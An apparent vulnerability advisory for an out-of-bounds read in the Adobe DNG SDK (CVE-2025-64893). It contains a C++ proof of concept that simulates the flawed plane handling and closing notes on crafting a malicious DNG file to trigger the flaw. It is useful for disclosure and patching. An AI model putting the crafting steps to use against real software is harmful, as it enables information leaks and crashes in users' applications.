Adobe DNG SDK Missing Validation Out-Of-Bounds Read

The Adobe DNG SDK contained a vulnerability caused by missing The Adobe DNG SDK contained a vulnerability caused by missing validation of data within DNG files. This flaw allowed an attacker to craft a malicious DNG file. When processed by the SDK, this file would trigger an out-of-bounds read. The SDK would attempt to access memory locations beyond the intended buffer, potentially disclosing data from adjacent memory or leading to a denial of service (application crash). Users of the SDK were advised to update to patched versions to mitigate this risk.

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| # Title : Adobe DNG SDK prior to v1.7.1.2410 Out-of-Bounds Read Due to Missing fSrcPlanes=2 Validation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://helpx.adobe.com/security/products/dng-sdk.html |
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[+] References : https://packetstorm.news/files/id/213066/ & CVE-2025-64893

[+] Summary : An out-of-bounds read vulnerability exists in Adobe DNG SDK versions prior to 1.7.1.2410 due to improper handling of raw images containing exactly two color planes (fSrcPlanes = 2).
The flaw occurs during image rendering when the SDK assumes a four-plane layout and reads memory beyond the allocated heap buffer.

[+] Root Cause :

In dng_render_task::ProcessArea(), the SDK correctly handles images with 1, 3, or 4 color planes
but fails to validate the uncommon case where fSrcPlanes equals 2.

When this condition occurs, execution incorrectly enters the four-plane processing path and
invokes DoBaselineABCDtoRGB(), which unconditionally reads from four source plane pointers
(sPtrA through sPtrD). Since only two planes are actually allocated, the remaining pointers
reference memory outside the valid heap buffer, resulting in out-of-bounds reads.

[+] Impact :

- Out-of-bounds heap memory read (information disclosure)
- Application crash (denial of service)
- Potential exploitation when chained with other memory corruption primitives

[+] Attack Vector :

A specially crafted DNG file containing a ColorMatrix tag with exactly six values forces
fColorPlanes to be set to 2. When such a file is processed (e.g., via dng_validate or any
application using the vulnerable DNG SDK), the invalid plane handling logic is triggered.

[+] Fix :

Adobe addressed this issue in DNG SDK version 1.7.1.2410, released on November 17, 2025.
Users are strongly advised to update immediately.

[+] POC :

#include <iostream>
#include <cstdint>
#include <cstdlib>
#include <cstring>

// ============================================
// SIMULATION OF VULNERABLE DNG SDK CODE
// ============================================

// Simplified pixel buffer structure
struct DngPixelBuffer {
uint8_t* data; // Raw pixel data
int32_t plane_step; // Offset between color planes (in floats)
int32_t row_step; // Offset between rows
int32_t col_step; // Offset between columns (usually 1)

// Constructor
DngPixelBuffer(uint8_t* buffer, int32_t p_step, int32_t r_step, int32_t c_step)
: data(buffer), plane_step(p_step), row_step(r_step), col_step(c_step) {}
};

// Simulated color conversion function (vulnerable version)
void DoBaselineABCDtoRGB(const float* planeA,
const float* planeB,
const float* planeC,
const float* planeD,
float* outputR,
float* outputG,
float* outputB,
uint32_t width,
const float* white_balance,
const float* color_matrix) {

std::cout << "[DEBUG] Processing " << width << " pixels with 4 planes assumption\n";

// VULNERABLE: Accesses all 4 planes even when only 2 exist
for (uint32_t col = 0; col < width; col++) {
float a = planeA[col];
float b = planeB[col];
float c = planeC[col]; // OUT-OF-BOUNDS READ when fSrcPlanes=2!
float d = planeD[col]; // OUT-OF-BOUNDS READ when fSrcPlanes=2!

// Simulate color conversion (simplified)
outputR[col] = a * 1.2f + c * 0.1f; // Uses illegal 'c'
outputG[col] = b * 0.9f + d * 0.3f; // Uses illegal 'd'
outputB[col] = a * 0.8f + b * 0.7f;

// Debug output for first few pixels
if (col < 3) {
std::cout << " Pixel " << col << ": A=" << a << " B=" << b
<< " C=" << c << " D=" << d << "\n";
}
}
}

// Simulated vulnerable ProcessArea function
void VulnerableProcessArea(DngPixelBuffer* src_buffer,
int32_t src_row,
int32_t src_cols,
int32_t src_planes) {

std::cout << "[DEBUG] ProcessArea called with src_planes=" << src_planes
<< ", src_cols=" << src_cols << "\n";

// Get pointer to first plane
const float* ptrA = reinterpret_cast<const float*>(
src_buffer->data + src_row * src_buffer->row_step);

// Allocate output buffers
float* outputR = new float[src_cols];
float* outputG = new float[src_cols];
float* outputB = new float[src_cols];

if (src_planes == 1) {
std::cout << "[INFO] Processing 1 plane (monochrome)\n";
// Safe: copy single plane to all three outputs
for (int32_t i = 0; i < src_cols; i++) {
outputR[i] = ptrA[i];
outputG[i] = ptrA[i];
outputB[i] = ptrA[i];
}
}
else if (src_planes == 3) {
std::cout << "[INFO] Processing 3 planes (normal RGB)\n";
// Safe: three planes available
const float* ptrB = ptrA + src_buffer->plane_step;
const float* ptrC = ptrB + src_buffer->plane_step;

for (int32_t i = 0; i < src_cols; i++) {
outputR[i] = ptrA[i] * 1.1f;
outputG[i] = ptrB[i] * 1.0f;
outputB[i] = ptrC[i] * 0.9f;
}
}
else {
// VULNERABLE: Assumes src_planes == 4
// But can be src_planes == 2!
std::cout << "[WARNING] Entering 4-plane processing path\n";

const float* ptrB = ptrA + src_buffer->plane_step;
const float* ptrC = ptrB + src_buffer->plane_step; // PROBLEM: May be OOB!
const float* ptrD = ptrC + src_buffer->plane_step; // PROBLEM: Definitely OOB!

// Print memory addresses to show the issue
std::cout << "[DEBUG] Memory pointers:\n";
std::cout << " Plane A: " << (void*)ptrA << "\n";
std::cout << " Plane B: " << (void*)ptrB << "\n";
std::cout << " Plane C: " << (void*)ptrC << "\n";
std::cout << " Plane D: " << (void*)ptrD << "\n";

// This will read out-of-bounds when src_planes=2
DoBaselineABCDtoRGB(ptrA, ptrB, ptrC, ptrD,
outputR, outputG, outputB,
src_cols,
nullptr, nullptr);
}

// Print some output values
std::cout << "[DEBUG] First 3 output pixels:\n";
for (int i = 0; i < 3 && i < src_cols; i++) {
std::cout << " Pixel " << i << ": R=" << outputR[i]
<< " G=" << outputG[i] << " B=" << outputB[i] << "\n";
}

// Cleanup
delete[] outputR;
delete[] outputG;
delete[] outputB;
}

// ============================================
// EXPLOIT DEMONSTRATION
// ============================================

int main() {
std::cout << "========================================\n";
std::cout << "DNG SDK CVE-2025-64893 EXPLOIT DEMO\n";
std::cout << "Heap Buffer Overflow Vulnerability\n";
std::cout << " By indoushka \n";
std::cout << "========================================\n\n";

// Configuration
const int32_t IMAGE_WIDTH = 10;
const int32_t IMAGE_HEIGHT = 1;
const int32_t PLANE_COUNT = 2; // This triggers the vulnerability!
const int32_t PLANE_STEP = IMAGE_WIDTH; // Each plane is width floats

// Calculate buffer size
const size_t BUFFER_SIZE = PLANE_COUNT * PLANE_STEP * sizeof(float);

std::cout << "[CONFIG] Creating image with:\n";
std::cout << " Width: " << IMAGE_WIDTH << " pixels\n";
std::cout << " Height: " << IMAGE_HEIGHT << " rows\n";
std::cout << " Planes: " << PLANE_COUNT << " (THIS TRIGGERS THE BUG!)\n";
std::cout << " Plane step: " << PLANE_STEP << " floats\n";
std::cout << " Buffer size: " << BUFFER_SIZE << " bytes\n\n";

// Allocate and initialize buffer
uint8_t* pixel_data = new uint8_t[BUFFER_SIZE];
float* float_data = reinterpret_cast<float*>(pixel_data);

std::cout << "[INIT] Initializing pixel data...\n";

// Fill plane A (first plane)
for (int i = 0; i < IMAGE_WIDTH; i++) {
float_data[i] = static_cast<float>(i); // Plane A values: 0, 1, 2, ...
}

// Fill plane B (second plane)
for (int i = 0; i < IMAGE_WIDTH; i++) {
float_data[PLANE_STEP + i] = static_cast<float>(i + 100); // 100, 101, 102, ...
}

// Create pixel buffer
DngPixelBuffer buffer(pixel_data,
PLANE_STEP, // plane_step in floats
IMAGE_WIDTH * PLANE_COUNT * sizeof(float), // row_step in bytes
1); // col_step

std::cout << "\n[EXECUTION] Calling VulnerableProcessArea...\n";
std::cout << "----------------------------------------\n";

// Trigger the vulnerability!
// This will process a 2-plane image but use 4-plane logic
VulnerableProcessArea(&buffer, 0, IMAGE_WIDTH, PLANE_COUNT);

std::cout << "----------------------------------------\n";

// Show what happens in memory
std::cout << "\n[MEMORY ANALYSIS]\n";
std::cout << "Valid buffer range: " << (void*)pixel_data
<< " to " << (void*)(pixel_data + BUFFER_SIZE) << "\n";

// Calculate where ptrC and ptrD point to
const float* ptrA = reinterpret_cast<const float*>(pixel_data);
const float* ptrC = ptrA + 2 * PLANE_STEP; // 2 planes ahead
const float* ptrD = ptrA + 3 * PLANE_STEP; // 3 planes ahead

std::cout << "ptrC points to: " << (void*)ptrC << "\n";
std::cout << "ptrD points to: " << (void*)ptrD << "\n";

// Check if pointers are out of bounds
if (reinterpret_cast<const uint8_t*>(ptrC) >= pixel_data + BUFFER_SIZE) {
std::cout << " -> ptrC is OUT OF BOUNDS!\n";
}
if (reinterpret_cast<const uint8_t*>(ptrD) >= pixel_data + BUFFER_SIZE) {
std::cout << " -> ptrD is OUT OF BOUNDS!\n";
}

// Demonstrate potential information leak
std::cout << "\n[INFORMATION LEAK DEMO]\n";
std::cout << "What ptrC might read (uninitialized memory after buffer):\n";
std::cout << " First value at ptrC: " << *ptrC << "\n";
std::cout << " This could contain sensitive data from heap!\n";

// Cleanup
delete[] pixel_data;

std::cout << "\n[RESULT]\n";
std::cout << "The program successfully demonstrated:\n";
std::cout << "1. Out-of-bounds memory reads\n";
std::cout << "2. Potential information disclosure\n";
std::cout << "3. In real DNG SDK, this could lead to:\n";
std::cout << " - Application crash\n";
std::cout << " - Information leak\n";
std::cout << " - Possible code execution\n";

return 0;
}

// ============================================
// COMPILATION AND USAGE INSTRUCTIONS
// ============================================

/*
HOW TO COMPILE AND RUN:

1. Save the code to a file: dng_exploit_demo.cpp

2. Compile with g++:
g++ -o dng_exploit_demo dng_exploit_demo.cpp -std=c++11

3. Run the program:
./dng_exploit_demo

EXPECTED OUTPUT:
- The program will simulate processing a 2-plane DNG image
- It will show the vulnerable code path being taken
- Memory addresses will demonstrate out-of-bounds access
- Information about potential data leak will be shown

REAL-WORLD EXPLOITATION:

To exploit the actual DNG SDK vulnerability:

1. Create a malicious DNG file:
- Set ColorMatrix tag with exactly 6 values (forces fColorPlanes=2)
- Include image data with only 2 color planes

2. Trigger processing:
- Use dng_validate or any application using vulnerable DNG SDK
- Command: dng_validate -tif output.tif malicious.dng

3. Potential impacts:
- Read sensitive data from heap memory
- Cause denial of service (crash)
- With careful heap grooming, possible code execution

MITIGATION:
- Update to DNG SDK version 1.7.1.2410 or later
- Add proper validation for fSrcPlanes=2 case
- Validate bounds before accessing plane pointers
*/

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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